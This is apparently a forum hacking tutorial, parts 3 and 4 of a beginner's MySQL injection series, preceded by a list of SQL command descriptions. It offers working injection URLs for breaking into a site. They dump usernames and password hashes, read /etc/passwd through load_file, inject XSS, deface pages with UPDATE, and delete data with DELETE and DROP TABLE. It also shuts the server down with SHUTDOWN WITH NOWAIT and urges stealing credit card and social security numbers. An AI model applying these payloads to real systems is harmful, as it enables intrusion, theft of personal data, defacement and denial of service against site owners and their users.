CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database
 

Finalizing The Injection Tutorial

I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..  

Code:
site.com/article.php?id=5 UNION ALL SELECT <script>
alert("XSS via SQL injection");
</script>,2/*
Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..

Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..

In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. 

You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...

And finally, read more and more, ask more and more because that is the best way to learn anything.

Keep Learning & Enjoy It.

Please do comment if you find anything missing and note that your comments are highly valued and appreciated. 

PREVIOUS (PART 3)

MySQL Injection for absolute beginners (PART 3)

MySQL version 4 injection:

Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 because it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the MySQL version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...

Anyway, lets go for MySQL version 4 injection...

For example, u would do as below:

Code:

site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*

Here, I guessed for the table name as user. But this gave me the error because the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.

When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.

Code:

site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*

The page loaded normally. Now again u have to guess the column names present in the tbluser table.

I do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
    //this gave me error so there is no column with this name.
    site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
    //It loaded the page normally along with the username from the table.
    site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
    //it errored so again the column pass doesnot exist in the table tbluser.
    site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
    //the page loaded normally with password hash(or plaintext password).

Now u may do this:

Code:

site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*

This gave me:
admin:9F14974D57DE204E37C11AEAC3EE4940

On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.

Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.

Modifying Site Content

Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.

Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed. But stacked queries donot work in MySQL.

First let me list these commands:

UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:

Code:

site.com/article.php?id=5

Lets say the query is:
Code:

SELECT title,data,author FROM article WHERE id=5

Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.

So we would do:

Code:

site.com/article.php?id=5 UPDATE article SET title='Hacked By sam207'/*

or, u could alternatively do:
 
Code:

site.com/article.php?id=5 UPDATE article SET title='HACKED BY SAM207',data='Ur site has zero   
    security',author='sam207'/*

By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:
 
Code:

site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*

DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:
 
Code:

site.com/article.php?id=5 DELETE title,data,author FROM article/*

or if u want to delete these fields from the id=5, u will do:
Code:

site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*

DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:
Code:

site.com/article.php?id=5 DROP TABLE article/*

This would delete table article & all its contents.

Finally, I want to say little about ;

Though I have not used this in my tutorial, u can use it to end ur first query and start another one.

This ; can be kept at the end of our first query so that we can start new query after it.

Shutting Down MySQL Server

This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;

So, you would craft a query which would execute the above command...

For example, in my case, I would do the following:

Code:

site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;

WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...

Loadfile

MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..

Do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

But sometimes, you will have to hex the part & do something like below:
Code:

site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)

where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..

MySQL Root

If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the MySQL database which ships with every installation of MySQL..

For this, you will do:

Code:

site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But insidepro.com has one to do it..

 
NEXT (PART 4)
 
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